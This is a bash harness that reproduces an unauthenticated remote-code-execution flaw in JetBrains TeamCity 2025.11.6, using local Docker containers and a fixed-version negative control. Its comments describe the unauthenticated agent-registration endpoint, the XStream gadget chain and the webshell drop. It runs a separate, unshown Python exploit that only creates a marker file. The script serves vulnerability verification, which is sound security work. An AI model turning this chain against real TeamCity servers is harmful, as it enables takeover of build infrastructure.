#!/bin/bash
# CVE-2026-63077 - JetBrains TeamCity unauthenticated RCE via agent polling protocol
#
# Reproduces the vulnerability end-to-end against the REAL product:
#   1. Starts the vulnerable TeamCity server 2025.11.6 (official JetBrains Docker image).
#   2. Completes the first-run setup wizard (HSQLDB internal DB, license accept).
#   3. Registers a synthetic build agent WITHOUT authentication via the agent polling
#      protocol endpoint /app/agents/v1/register.
#   4. Sends a crafted XStream XML payload to /app/agents/v1/commands/error, which the
#      server deserializes with an unrestricted XStream (AnyTypePermission.ANY +
#      small denylist) in jetbrains.buildServer.agentServer.polling.Error.fromXml.
#      The gadget chain (HSQLMetadataStorage$SchemaMismatchException -> DBCP
#      BasicDataSource -> freemarker HashAdapter -> commons-collections TiedMapEntry)
#      executes HSQLDB connectionInitSqls that drop a JSPWS webshell into the webroot.
#   5. GET /<random>.jspws executes an OS command as the TeamCity server user (tcuser).
#
# Negative control: the same attack against fixed TeamCity 2025.11.7 is blocked with
# com.thoughtworks.xstream.security.ForbiddenClassException and no command execution.
#
# Exit 0 = vulnerability confirmed (vulnerable exploited AND fixed blocked).
# Exit 1 = not reproduced / infrastructure failure.

set -euo pipefail

ROOT="${PRUVA_ROOT:-$(cd "$(dirname "$0")/.." && pwd)}"
export PRUVA_ROOT="$ROOT"
LOGS="$ROOT/logs"
REPRO_DIR="$ROOT/repro"
mkdir -p "$LOGS" "$REPRO_DIR"
cd "$ROOT"

MAIN_LOG="$LOGS/reproduction_steps.log"
: > "$MAIN_LOG"
log() { echo "[$(date -u +%H:%M:%S)] $*" | tee -a "$MAIN_LOG"; }

# Pinned official images (digests resolved from Docker Hub on 2026-08-23).
VULN_IMAGE="jetbrains/teamcity-server@sha256:a435d848808ac6f9b4a8b0970e29a1b8723ed6cc28f309e6df44f334b4cb7416"  # 2025.11.6-linux (vulnerable)
FIXED_IMAGE="jetbrains/teamcity-server@sha256:d3875b0d20207d161c0424c923f809109e03e2cf893cba178f28a9032ada56d8"  # 2025.11.7-linux (fixed)
VULN_PORT=8111
FIXED_PORT=8112
VULN_CNAME="tc-cve-2026-63077-vuln"
FIXED_CNAME="tc-cve-2026-63077-fixed"
POC="$REPRO_DIR/exploit_cve_2026_63077.py"

MANIFEST_WRITTEN=0
write_manifest() {
  local reached="$1" started="$2" health="$3" notes="$4"
  [ "$MANIFEST_WRITTEN" = "1" ] && return 0
  MANIFEST_WRITTEN=1
  python3 - "$reached" "$started" "$health" "$notes" <<'PYEOF'
import json, sys, os
reached, started, health, notes = sys.argv[1:5]
root = os.environ.get("PRUVA_ROOT", ".")
manifest = {
  "entrypoint_kind": "endpoint",
  "entrypoint_detail": "TeamCity agent polling protocol: POST /app/agents/v1/register + POST /app/agents/v1/commands/error (unauthenticated XStream deserialization in Error.fromXml)",
  "service_started": started == "true",
  "healthcheck_passed": health == "true",
  "target_path_reached": reached == "true",
  "runtime_stack": ["docker", "jetbrains/teamcity-server:2025.11.6-linux (vulnerable)", "jetbrains/teamcity-server:2025.11.7-linux (fixed)", "tomcat-9", "hsqldb", "openjdk-21"],
  "target_identity": {
    "repository_url": "https://hub.docker.com/r/jetbrains/teamcity-server",
    "commit_sha": None,
    "target_digest": "sha256:a435d848808ac6f9b4a8b0970e29a1b8723ed6cc28f309e6df44f334b4cb7416",
    "runtime_digest": "sha256:d3875b0d20207d161c0424c923f809109e03e2cf893cba178f28a9032ada56d8",
    "platform": "linux",
    "architecture": "x86_64"
  },
  "proof_artifacts": [
    "logs/reproduction_steps.log",
    "logs/teamcity_vuln_server.log",
    "logs/teamcity_fixed_server.log",
    "logs/exploit_vulnerable.log",
    "logs/exploit_fixed.log",
    "repro/payload_vulnerable.xml",
    "repro/payload_fixed.xml",
    "repro/jsp_response_vulnerable.txt",
    "repro/marker_vulnerable.txt"
  ],
  "notes": notes
}
with open(os.path.join(root, "repro", "runtime_manifest.json"), "w") as fh:
    json.dump(manifest, fh, indent=2)
PYEOF
}
on_exit() { write_manifest false true false "script aborted before final verdict"; cleanup_containers; }

cleanup_containers() {
  docker rm -f "$VULN_CNAME" "$FIXED_CNAME" >/dev/null 2>&1 || true
}
trap 'on_exit' EXIT

# ---------------------------------------------------------------- sanity ----
log "=== CVE-2026-63077 reproduction: TeamCity unauthenticated RCE via agent polling protocol ==="
command -v docker >/dev/null || { log "FATAL: docker not available"; exit 1; }
command -v python3 >/dev/null || { log "FATAL: python3 not available"; exit 1; }
command -v curl >/dev/null || { log "FATAL: curl not available"; exit 1; }
[ -f "$POC" ] || { log "FATAL: exploit helper missing: $POC"; exit 1; }

log "pulling pinned images (no-op if cached)"
docker pull "$VULN_IMAGE" >>"$MAIN_LOG" 2>&1
docker pull "$FIXED_IMAGE" >>"$MAIN_LOG" 2>&1

cleanup_containers

# ------------------------------------------------------- helper functions ----
wait_mnt_up() {  # $1=port ; waits until /mnt/ answers HTTP 200
  local port="$1" i code
  for i in $(seq 1 90); do
    code=$(curl -s -o /dev/null -w '%{http_code}' "http://localhost:${port}/mnt/" 2>/dev/null || echo 000)
    [ "$code" = "200" ] && return 0
    sleep 5
  done
  return 1
}

run_setup_wizard() {  # $1=port $2=cookiejar ; completes first-run wizard (stage-aware)
  local port="$1" cj="$2"
  wait_stage "$port" "$cj" "FIRST_START_SCREEN" || return 1
  post_cmd "$port" "$cj" "goNewInstallation" "restore=false" || return 1
  wait_stage "$port" "$cj" "DB_SETTINGS_SCREEN" || return 1
  post_cmd "$port" "$cj" "goNewDatabase" "dbType=HSQLDB2" || return 1
  wait_stage "$port" "$cj" "LICENSE_AGREEMENT_SCREEN" || return 1
  post_cmd "$port" "$cj" "acceptLicenseAgreement" "" || return 1
  # Wait until startup completes: /mnt/ answers 302 (redirect to /overview.html)
  local i code
  for i in $(seq 1 60); do
    code=$(curl -s -b "$cj" -c "$cj" -o /dev/null -w '%{http_code}' "http://localhost:${port}/mnt/" 2>/dev/null || echo 000)
    if [ "$code" = "302" ]; then return 0; fi
    sleep 6
  done
  log "setup wizard: timed out waiting for startup completion"
  return 1
}

current_stage() {  # $1=port $2=cookiejar -> prints stage name or empty
  curl -s -b "$2" -c "$2" "http://localhost:$1/mnt/" 2>/dev/null | grep -oE 'Stage: [A-Z_]+' | head -1 | awk '{print $2}'
}

wait_stage() {  # $1=port $2=cookiejar $3=expected stage
  local i st
  for i in $(seq 1 30); do
    st=$(current_stage "$1" "$2")
    if [ "$st" = "$3" ]; then return 0; fi
    if [ "$st" = "APPLICATION_STARTING" ]; then return 0; fi  # acceptable: next step is polling for 302
    sleep 4
  done
  log "setup wizard: stage $3 never reached (last: ${st:-none})"
  return 1
}

post_cmd() {  # $1=port $2=cookiejar $3=command $4=data ; retries until OK
  local i out data_arg=()
  [ -n "$4" ] && data_arg=(-d "$4")
  for i in $(seq 1 15); do
    out=$(curl -s -b "$2" -c "$2" -X POST "http://localhost:$1/mnt/do/$3" "${data_arg[@]}" 2>/dev/null || true)
    [ "$out" = "OK" ] && return 0
    sleep 4
  done
  log "setup wizard: command $3 not accepted (last: ${out:-no-response})"
  return 1
}

register_probe() {  # $1=port ; unauthenticated agent registration healthcheck
  curl -s -D - -o /dev/null -X POST "http://localhost:${port}/app/agents/v1/register" \
    -H 'Content-Type: application/xml' \
    --data '<?xml version="1.0" encoding="UTF-8"?>
<agentDetails agentName="healthcheck-probe" agentAddress="127.0.0.1" agentPort="9090" authToken="healthcheckprobe" pingCode="">
  <alternativeAddresses/>
  <availableRunners/>
  <availableVcs/>
  <buildParameters/>
  <configParameters/>
</agentDetails>
' 2>/dev/null | grep -qi '^TeamCity-AgentSessionId:'
}

start_server() {  # $1=image $2=name $3=port $4=role
  local image="$1" name="$2" port="$3" role="$4"
  docker run -d --name "$name" -p "${port}:8111" "$image" >>"$MAIN_LOG" 2>&1
  log "[$role] container $name started; waiting for maintenance servlet"
  wait_mnt_up "$port" || { log "[$role] FATAL: maintenance servlet never came up"; docker logs "$name" >"$LOGS/teamcity_${role}_server.log" 2>&1; return 1; }
  log "[$role] running first-run setup wizard"
  run_setup_wizard "$port" "$LOGS/cookies_${role}.txt" || { log "[$role] FATAL: setup wizard failed"; docker logs "$name" >"$LOGS/teamcity_${role}_server.log" 2>&1; return 1; }
  log "[$role] setup complete; verifying unauthenticated agent registration (healthcheck)"
  register_probe "$port" || { log "[$role] FATAL: agent polling endpoint did not issue a session"; return 1; }
  docker logs "$name" >"$LOGS/teamcity_${role}_server.log" 2>&1 || true
  log "[$role] healthy: /app/agents/v1/register issued a session without credentials"
}

# ------------------------------------------------------------ run servers ----
MARKER_VULN="/tmp/CVE_2026_63077_PWNED_$(python3 -c 'import secrets;print(secrets.token_hex(6))')"
MARKER_FIXED="/tmp/CVE_2026_63077_PWNED_$(python3 -c 'import secrets;print(secrets.token_hex(6))')"
log "vulnerable marker: $MARKER_VULN"
log "fixed marker:      $MARKER_FIXED"

start_server "$VULN_IMAGE" "$VULN_CNAME" "$VULN_PORT" "vuln"
start_server "$FIXED_IMAGE" "$FIXED_CNAME" "$FIXED_PORT" "fixed"

# ------------------------------------------------- attack vulnerable (x2) ----
VULN_OK=0
for attempt in 1 2; do
  log "[vuln attempt $attempt] running exploit against TeamCity 2025.11.6"
  if python3 "$POC" --cmd "touch $MARKER_VULN" \
      --dump-payload "$REPRO_DIR/payload_vulnerable.xml" \
      --response-out "$REPRO_DIR/jsp_response_vulnerable.txt" \
      "http://localhost:$VULN_PORT" >"$LOGS/exploit_vulnerable.log" 2>&1; then
    log "[vuln attempt $attempt] exploit script reports command execution"
    if docker exec "$VULN_CNAME" test -f "$MARKER_VULN"; then
      docker exec "$VULN_CNAME" sh -c "ls -la '$MARKER_VULN'; id" >"$REPRO_DIR/marker_vulnerable.txt" 2>&1
      log "[vuln attempt $attempt] marker file present inside server container:"
      cat "$REPRO_DIR/marker_vulnerable.txt" | tee -a "$MAIN_LOG"
      VULN_OK=$((VULN_OK+1))
    else
      log "[vuln attempt $attempt] ERROR: marker file missing"
    fi
  else
    log "[vuln attempt $attempt] exploit failed; see $LOGS/exploit_vulnerable.log"
    cat "$LOGS/exploit_vulnerable.log" >>"$MAIN_LOG" || true
  fi
  docker logs "$VULN_CNAME" >"$LOGS/teamcity_vuln_server.log" 2>&1 || true
done

# ----------------------------------------------------- attack fixed (x2) -----
FIXED_BLOCKED=0
for attempt in 1 2; do
  log "[fixed attempt $attempt] running identical exploit against TeamCity 2025.11.7"
  set +e
  python3 "$POC" --cmd "touch $MARKER_FIXED" \
      --dump-payload "$REPRO_DIR/payload_fixed.xml" \
      "http://localhost:$FIXED_PORT" >"$LOGS/exploit_fixed.log" 2>&1
  rc=$?
  set -e
  docker logs "$FIXED_CNAME" >"$LOGS/teamcity_fixed_server.log" 2>&1 || true
  if [ "$rc" -ne 0 ] \
     && ! docker exec "$FIXED_CNAME" test -f "$MARKER_FIXED" \
     && grep -q 'ForbiddenClassException' "$LOGS/teamcity_fixed_server.log"; then
    log "[fixed attempt $attempt] blocked as expected (ForbiddenClassException, no marker)"
    FIXED_BLOCKED=$((FIXED_BLOCKED+1))
  else
    log "[fixed attempt $attempt] UNEXPECTED result (rc=$rc); see $LOGS/exploit_fixed.log"
    cat "$LOGS/exploit_fixed.log" >>"$MAIN_LOG" || true
  fi
done

# ---------------------------------------------------------------- verdict ----
log "summary: vulnerable successes=$VULN_OK/2, fixed blocked=$FIXED_BLOCKED/2"
grep -c 'ConversionException' "$LOGS/teamcity_vuln_server.log" 2>/dev/null | sed 's/^/vulnerable server ConversionException count: /' | tee -a "$MAIN_LOG" || true

if [ "$VULN_OK" -ge 1 ] && [ "$FIXED_BLOCKED" -ge 1 ]; then
  write_manifest true true true "CVE-2026-63077 confirmed: unauthenticated XStream deserialization RCE via agent polling protocol on TeamCity 2025.11.6; blocked with ForbiddenClassException on 2025.11.7"
  log "RESULT: CVE-2026-63077 CONFIRMED (unauthenticated RCE on 2025.11.6; 2025.11.7 blocks the payload)"
  exit 0
fi

write_manifest false true true "reproduction incomplete: vuln_ok=$VULN_OK fixed_blocked=$FIXED_BLOCKED"
log "RESULT: NOT CONFIRMED"
exit 1
